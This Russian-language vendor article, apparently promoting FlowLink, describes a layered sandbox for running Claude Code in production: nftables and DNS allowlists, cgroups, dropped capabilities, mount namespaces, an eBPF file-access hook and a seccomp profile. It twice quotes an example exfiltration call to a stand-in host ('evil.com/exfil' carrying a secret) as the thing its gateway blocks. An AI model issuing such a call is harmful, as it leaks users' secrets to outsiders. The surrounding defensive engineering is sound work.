Skip to content
ВозможностиДокументацияЦеныПартнёрыPlaygroundFAQ
Claude CodeProduction SecurityMCP

Claude Code в продакшене: поэтапная архитектура ограничения привилегий

1 минута чтения

Claude Code работает иначе, чем веб-интерфейс Claude. Он получает прямой доступ к терминалу, файловой системе и сети вашего хоста. Когда вы запускаете claude --dangerously-skip-permissionsили одобряете инструмент в prompt — вы делегируете LLM права текущего пользователя без остатка.

Это делает Claude Code невероятно продуктивным. И невероятно опасным, если не выстроить защиту послойно — так, чтобы сбой одного механизма не означал полной компрометации.

Краткий ответ

Безопасный Claude Code в production строится на архитектуре defense in depth из четырёх независимых колец: сеть (nftables + DNS-whitelist), процесс(cgroups + capabilities), файловая система (mount namespaces + eBPF LSM) и ядро(seccomp-bpf). Поверх них ставится FlowLink MCP Gateway с контекстно-зависимыми runtime-политиками. Блокировка на любом кольце останавливает операцию агента.

Модель защиты: четыре кольца

В классической информационной безопасности «defense in depth» означает, что каждый слой independently обеспечивает защиту. Для Claude Code мы определяем четыре слоя:

Многослойная защита Claude Code

4

независимых кольца защитыdefense in depth — сбой одного механизма не приводит к полной компрометации системы.

Агент проходит через все слои при каждом действии. Блокировка на любом из них останавливает операцию. Давайте разберём каждый.

Четыре слоя защиты Claude Code — что блокирует каждый механизм
СлойЧто защищаетОсновной механизмРоль FlowLink
Layer 1 — СетьИсходящий трафик, эксфильтрация данныхnftables + DNS-whitelistMCP Gateway с контекстом
Layer 2 — ПроцессРесурсы, fork-бомбы, привилегииcgroups v2 + Linux capabilitiesОпционально
Layer 3 — ФайлыЧтение/запись вне проектаmount namespaces + eBPF LSMeBPF shield
Layer 4 — ЯдроОпасные системные вызовыseccomp-bpfОпционально

Layer 1 — Сетевой периметр

Claude Code может инициировать исходящие соединения: скачивать пакеты, обращаться к API, отправлять webhook'и. Первый шаг — ограничить, куда он может ходить.

Используйте nftables с метками процессов:

nftables — ai_agents.rules
bash
# Создаём таблицу для AI-агентов
nft add table inet ai_agents
# Разрешаем только конкретные API-эндпоинты
nft add chain inet ai_agents output { type filter hook output priority 0 \; }
# Claude Code process (PID-based, обновляется через systemd exec)
nft add rule inet ai_agents output meta cgroup 123 \
ip daddr != 44.234.xxx.xxx reject # Claude API
nft add rule inet ai_agents output meta cgroup 123 \
ip daddr != 52.16.xxx.xxx reject # npm registry
# Всё остальное — запрещено
nft add rule inet ai_agents output meta cgroup 123 drop

На уровне приложения FlowLink MCP Gateway дублирует эту логику с enriched-контекстом: он знает,какой инструмент Claude Code вызывает и для чего. Если Claude пытается выполнитьfetch("https://evil.com/exfil?data=" + secret) — gateway блокирует запрос до того, как он достигнет сети.

DNS-фильтрация как дополнительная линия

Даже если агент обходит IP-фильтры через DNS, FlowLink перехватывает getaddrinfo()через eBPF и проверяет домен против whitelist:

allowed_domains.py
python
allowed_domains = [
"api.anthropic.com",
"registry.npmjs.org",
"api.github.com",
"*.internal.company.com"
]

Layer 2 — Изоляция процессов

Claude Code запускает дочерние процессы (git, npm, docker). Без ограничений любой из этих процессов наследует права пользователя.

cgroups v2 ограничивают ресурсы и предотвращают fork-bombs:

/etc/systemd/system/claude-code.slice
# /etc/systemd/system/claude-code.slice
[Unit]
Description=Claude Code sandbox slice
[Slice]
CPUQuota=50%
MemoryMax=4G
TasksMax=500
DeviceAllow=/dev/null rw
DeviceAllow=/dev/urandom r
# Запуск
systemd-run --user --slice=claude-code.slice claude

Минимальные привилегии

Linux capabilities дополнительно ограничивают привилегии. Claude Code не нужныCAP_SYS_ADMIN, CAP_NET_RAW или CAP_SYS_PTRACE — смело отбрасывайте их. Оставлять привилегии «на всякий случай» — самая частая причина реальных инцидентов с AI-агентами.
drop-caps.sh
bash
# Drop all capabilities, grant only what's needed
capsh --drop=all --caps="cap_net_bind_service=ep" -- \
-c "claude --allowedTools bash,read,write,glob,search"

Layer 3 — Файловая система

Claude Code читает и пишет файлы. Ключевая идея: дать доступ только к рабочей директории проекта, запретить всё остальное.

С помощью mount namespace:

sandbox.sh
bash
# Создаём изолированное пространство имён файловой системы
unshare --mount --map-root-user \
--mount-proc \
bash -c "
mount --bind /home/dev/project /home/dev/project
mount --bind /tmp/claude-tmp /tmp
mount -t tmpfs none /root
claude
"

Для более точного контроля FlowLink использует eBPF LSM hook наsecurity_file_permission:

restrict_claude_fs.c
c
SEC("lsm/file_permission")
int restrict_claude_fs(struct file *file, int mask) {
char path[256];
bpf_d_path(&file->f_path, path, sizeof(path));
// Белый список директорий
if (!path_starts_with(path, "/home/dev/project") &&
!path_starts_with(path, "/tmp") &&
!path_starts_with(path, "/usr/local/lib")) {
log_access_denied(path, mask);
return -EACCES;
}
return 0;
}

Layer 4 — Ядро

Последняя линия обороны. seccomp-bpf фильтрует системные вызовы на уровне ядра — агент просто не может выполнить определённые syscall'ы:

claude-seccomp.json
json
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{ "names": ["write", "read", "openat", "close",
"fstat", "mmap", "brk", "exit_group"],
"action": "SCMP_ACT_ALLOW" },
{ "names": ["unshare", "clone", "mount",
"ptrace", "keyctl", "acct"],
"action": "SCMP_ACT_KILL" }
]
}

Claude Code не нужен mount(), ptrace() или unshare(). Блокировка этих syscall'ов предотвращает контейнер-escape и отладку чужих процессов.

Как это всё соединить в Production

Каждый слой независимо полезен, но максимальная защита достигается при их комбинации. Вот практический порядок внедрения:

Поэтапное внедрение защиты Claude Code

Реалистичный четырёхнедельный план — от быстрых побед до runtime-политик с контекстом.

  1. Неделя 1 — Systemd slice + seccomp profile

    Запустите Claude Code в выделенном systemd slice с лимитами CPU/памяти и подключите seccomp-профиль, запрещающий опасные syscall. Это 30 минут настройки с мгновенным эффектом — защита от fork-бомб и контейнер-escape.

  2. Неделя 2 — nftables + DNS-фильтрация

    Опишите таблицу inet ai_agents в nftables и whitelist доменов. Это ограничивает сетевой доступ агента разрешёнными API (Anthropic, npm registry, GitHub) и блокирует эксфильтрацию данных.

  3. Неделя 3 — Mount namespaces

    Запускайте агента в отдельном mount namespace с bind-mount только рабочей директории проекта. Файловая система остального хоста становится невидимой для Claude Code.

  4. Неделя 4 — FlowLink eBPF shield + MCP gateway

    Подключите runtime-политики FlowLink: eBPF LSM на security_file_permission и MCP Gateway, который знает, какой инструмент вызывает агент и зачем. Это контекстно-зависимая защита поверх статичных правил.

Плюсы и минусы подхода defense in depth

Плюсы

  • Сбой одного слоя не означает полной компрометации — остальные продолжают защищать
  • Каждый слой независимо тестируется, аудитируется и откатывается
  • Гибкость: слои можно внедрять поэтапно, начиная с быстрых побед
  • Защита работает даже при компрометации самого промпта агента

Минусы

  • Эксплуатационная сложность: четыре механизма нужно поддерживать и обновлять
  • Накладные расходы на производительность (особенно eBPF LSM)
  • Требуется экспертиза в Linux security — cgroups, namespaces, seccomp, eBPF
  • Сложнее отладка: ложные срабатывания приходится искать по нескольким слоям

Не нужно развёртывать всё одновременно. Но каждый беззащитный слой — это вектор, который реальный атакующий или «добросовестный» AI-агент может эксплуатировать.

Часто задаваемые вопросы

Что такое defense in depth применительно к Claude Code?

Это архитектурный принцип, при котором агент проходит через несколько независимых слоёв защиты: сеть → процесс → файловая система → ядро. Блокировка на любом из них останавливает опасную операцию. Сбой одного механизма (например, дыра в сетевом правиле) не приводит к компрометации — остальные слои продолжают защищать.

Нужно ли разворачивать все четыре слоя сразу?

Нет. Рекомендуется поэтапное внедрение: начать с systemd slice + seccomp (быстрая победа за 30 минут), затем добавить сетевой периметр, mount namespaces и в конце — runtime-политики FlowLink. Каждый слой даёт самостоятельную защиту, поэтому отдача видна с первой недели.

Зачем нужен eBPF, если уже есть seccomp и namespaces?

seccomp фильтрует системные вызовы, но не знает контекста: он не отличит чтение файла с секретами от чтения временного лога. eBPF LSM-хук на security_file_permission проверяет конкретный путь, а MCP Gateway поверх него знает, какой инструмент агента делает запрос и для какой задачи. Это контекстно-зависимая защита, недоступная статичным правилам.

Можно ли просто запустить Claude Code в Docker-контейнере?

Контейнер — хорошая отправная точка (он использует namespaces и cgroups), но сам по себе слаб: по умолчанию он запускается от root, имеет широкий набор capabilities и неограниченный исходящий трафик. Без seccomp-профиля, capabilities-drop и сетевого firewall контейнер не останавливает эксфильтрацию и container-escape через уязвимости рантайма.

Что делает FlowLink MCP Gateway в этой архитектуре?

MCP Gateway — это прикладной слой поверх четырёх системных колец. Он перехватывает вызовы инструментов Claude Code с enriched-контекстом: знает имя инструмента, аргументы, сессию и задачу. Если агент пытается выполнить fetch("https://evil.com/exfil?…"), gateway блокирует запрос до того, как он достигнет сети, и логирует инцидент с полным контекстом.

Развертываете Claude Code в production?

Получите готовый набор политик FlowLink для Claude Code: 12 правил, eBPF-профиль и MCP-gateway конфиг — всё в одном репозитории.

Скачать starter kit